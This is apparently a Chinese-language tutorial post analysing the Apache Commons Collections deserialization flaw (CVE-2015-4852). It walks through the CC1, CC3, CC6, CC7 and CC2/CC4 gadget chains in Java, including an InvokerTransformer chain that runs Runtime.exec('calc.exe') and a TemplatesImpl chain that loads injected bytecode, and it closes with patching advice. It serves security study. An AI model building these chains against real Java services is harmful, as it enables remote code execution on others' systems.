谭谭CommonsCollections的二三事
字数 1103 2025-08-25 22:58:40
Apache Commons Collections反序列化漏洞深入分析
前言
Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强有力的数据结构类型和集合工具类。在3.2.1以下版本(包括4.0版本)存在严重的安全漏洞(CVE-2015-4852),主要问题出在"转换装饰器"功能上,该功能可以在集合添加到集合时改变集合的每个对象。
核心概念与接口
TransformedMap
TransformedMap可以对Java标准数据结构Map进行修饰,被修饰过的Map在添加新元素时可以执行回调:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
Transformer接口
Transformer接口只有一个待实现的方法:
public interface Transformer {
Object transform(Object var1);
}
关键实现类
- ConstantTransformer:包装任意对象,在执行回调时返回该对象
- InvokerTransformer:可执行任意方法,是反序列化的关键
- ChainedTransformer:将多个Transformer串在一起,前一个回调的结果作为后一个回调的参数
漏洞利用链分析
CommonsCollections 1 (CC1)
利用TransformedMap
基本利用代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("key", "value"); // 触发漏洞
利用AnnotationInvocationHandler
实际利用需要通过反序列化触发,使用sun.reflect.annotation.AnnotationInvocationHandler:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
CommonsCollections 6 (CC6)
解决CC1在高版本JDK中无法利用的问题,利用链:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
关键代码:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey"); // 确保触发get
CommonsCollections 3 (CC3)
利用TemplatesImpl类加载字节码:
byte[] code = Base64.decode("yv66vgAAADMANAoACAAk..."); // 恶意字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
CommonsCollections 7 (CC7)
利用Hashtable的hash碰撞触发:
Map innerMap1 = new HashMap();
innerMap1.put("pP",1); // 精心构造hash碰撞
Map innerMap2 = new HashMap();
innerMap2.put("oo",1); // 与"pP" hash相同
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
CommonsCollections 2 (CC2) & 4 (CC4)
针对commons-collections4版本的利用,利用PriorityQueue:
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
防御与修复
- 升级Apache Commons Collections到安全版本(3.2.2+)
- 对反序列化操作进行严格限制
- 使用安全管理器限制危险操作
- 对输入流进行过滤和验证
总结
Apache Commons Collections反序列化漏洞展示了Java反序列化机制的潜在危险。理解这些漏洞的利用链对于开发安全的Java应用程序至关重要。安全研究人员应关注这些模式,以便发现和修复类似问题,而开发人员则应确保使用最新的安全补丁和最佳实践来保护应用程序。